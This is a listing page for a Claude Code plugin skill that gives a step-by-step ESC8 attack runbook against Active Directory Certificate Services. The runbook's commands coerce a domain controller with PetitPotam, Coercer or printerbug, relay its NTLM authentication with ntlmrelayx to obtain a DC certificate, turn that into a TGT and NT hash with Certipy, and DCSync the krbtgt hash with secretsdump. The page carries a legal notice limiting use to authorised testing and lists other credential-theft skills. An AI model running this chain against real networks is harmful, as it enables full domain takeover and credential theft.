/cybersecurity:relaying-ntlm-for-adcs-esc8from cybersecurity
Relays NTLM authentication from coerced domain controllers to ADCS web enrollment to obtain a certificate for full domain compromise via ESC8.
Ships in cybersecurity. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them; scripts run unread.
Legal Notice: This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Coercing authentication and relaying credentials against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement; ESC8 coercion can affect production domain controllers.
ESC8 is one of the Active Directory Certificate Services (AD CS) escalation paths catalogued by SpecterOps in "Certified Pre-Owned." It abuses the AD CS HTTP web-enrollment endpoint (/certsrv/), which by default supports NTLM authentication and, critically, does not enforce HTTPS channel binding or Extended Protection for Authentication (EPA). Because NTLM over HTTP on that endpoint is unprotected, an attacker can coerce a privileged machine account (typically a domain controller) into authenticating to an attacker-controlled host, then relay that NTLM authentication to the CA's web-enrollment page and request a certificate as the coerced machine.
When the relayed victim is a domain controller, the attacker obtains a certificate for the DC's machine account (DC01$). That certificate can then be used for Kerberos PKINIT to request a TGT as the DC, recover the DC's NT hash, and ultimately perform DCSync — a full domain compromise. This maps to MITRE ATT&CK T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay), extended here to NTLM relay against an HTTP enrollment service.
The standard toolchain is Impacket's ntlmrelayx.py (the relay engine, with --adcs mode), a coercion tool (PetitPotam, Coercer, printerbug.py/dementor), and Certipy for enumeration and for turning the captured certificate into a TGT / NT hash.
DomainController, Machine).# Impacket (provides ntlmrelayx.py / impacket-ntlmrelayx)
pipx install impacket
# Certipy (AD CS enumeration + abuse)
pipx install certipy-ad
# Coercion tools
git clone https://github.com/topotam/PetitPotam.git
pipx install coercer # https://github.com/p0dalirius/Coercer
# printerbug.py ships with Impacket examples (MS-RPRN)
ntlmrelayx in --adcs mode targeting the CA enrollment URL.| Technique ID | Name | Tactic | Relevance |
|---|---|---|---|
| T1557.001 | Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay | Credential Access / Collection | The core ESC8 primitive relays coerced NTLM authentication to the AD CS HTTP endpoint. |
| T1187 | Forced Authentication | Credential Access | PetitPotam/printerbug coerce the DC to authenticate to the attacker. |
| T1649 | Steal or Forge Authentication Certificates | Credential Access | The attack yields a certificate for the DC machine account used for PKINIT. |
| T1003.006 | OS Credential Dumping: DCSync | Credential Access | The recovered DC identity enables DCSync for full domain compromise. |
Use Certipy to find enabled, vulnerable templates and confirm a web-enrollment endpoint:
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout
Look for ESC8 in the output and note the CA's web-enrollment URL (e.g., http://ca01.corp.local/certsrv/certfnsh.asp).
Point ntlmrelayx at the CA's web-enrollment endpoint and request a DomainController template certificate. --adcs enables AD CS relay; -smb2support accepts SMB2 coerced auth:
impacket-ntlmrelayx \
-t http://ca01.corp.local/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template DomainController
For relaying a member server/workstation instead of a DC, use --template Machine (or User for a user account).
Trigger the DC to authenticate to the relay listener using a coercion primitive.
PetitPotam (MS-EFSRPC):
# python3 PetitPotam.py <listener/attacker IP> <target DC IP>
python3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10
Coercer (multi-protocol coercion):
coercer coerce -u attacker -p 'Password123!' -d corp.local -l 10.0.0.50 -t 10.0.0.10
printerbug.py (MS-RPRN, ships with Impacket):
python3 printerbug.py corp.local/attacker:'Password123!'@10.0.0.10 10.0.0.50
When the coerced DC authenticates, ntlmrelayx relays it to the CA and prints output similar to:
[*] Authenticating against http://ca01.corp.local as CORP/DC01$ SUCCEED
[*] GOT CERTIFICATE! ID 1337
[*] Base64 certificate of user DC01$:
MIIRXAIBAzCC...<snip>...
Save the base64 PKCS#12 blob to a .pfx file (decode it; the cert has no export password by default):
echo 'MIIRXAIBAzCC...<snip>...' | base64 -d > dc01.pfx
Use Certipy to authenticate with the certificate via PKINIT, obtaining a Kerberos TGT and the DC machine-account NT hash:
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10
Certipy outputs a .ccache TGT and the NT hash, e.g. [*] Got hash for '[email protected]': aad3b435...:<NTHASH>.
With the DC machine account's hash/TGT, perform DCSync to extract domain credentials (e.g., krbtgt, Domain Admins) using the recovered TGT:
# Use the ccache TGT, then DCSync via secretsdump
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass corp.local/'DC01$'@dc01.corp.local -just-dc-user krbtgt
Confirm the environment is hardened against ESC8 after testing:
| Tool | Purpose | Link |
|---|---|---|
| Impacket ntlmrelayx | NTLM relay engine with --adcs mode | https://github.com/fortra/impacket |
| Certipy | AD CS enumeration and certificate abuse | https://github.com/ly4k/Certipy |
| PetitPotam | MS-EFSRPC coercion | https://github.com/topotam/PetitPotam |
| Coercer | Multi-protocol coercion | https://github.com/p0dalirius/Coercer |
| Certified Pre-Owned (SpecterOps) | Original AD CS abuse research | https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf |
| SpecterOps CoerceAndRelayNTLMToADCS | ESC8 edge reference | https://bloodhound.specterops.io/resources/edges/coerce-and-relay-ntlm-to-adcs |
certipy find -vulnerable.ntlmrelayx --adcs --template DomainController listener running against the CA URL..pfx.certipy auth.What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
red-team, ntlm-relay, adcs-esc8, active-directory, privilege-escalation
npx claudepluginhub sueytame/claude-skills-collection --plugin cybersecurity817 skills in this plugin
/abusing-dpapi-for-credential-accessExtract DPAPI-protected secrets such as credentials and browser data offline and online./abusing-shadow-credentials-for-privescTake over Active Directory user and computer accounts by writing alternate certificate keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, and Certipy, then authenticate via PKINIT./achieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.2 plugins ship this exact skill · first indexed Jun 23, 2026
Other plugins' skills for the same job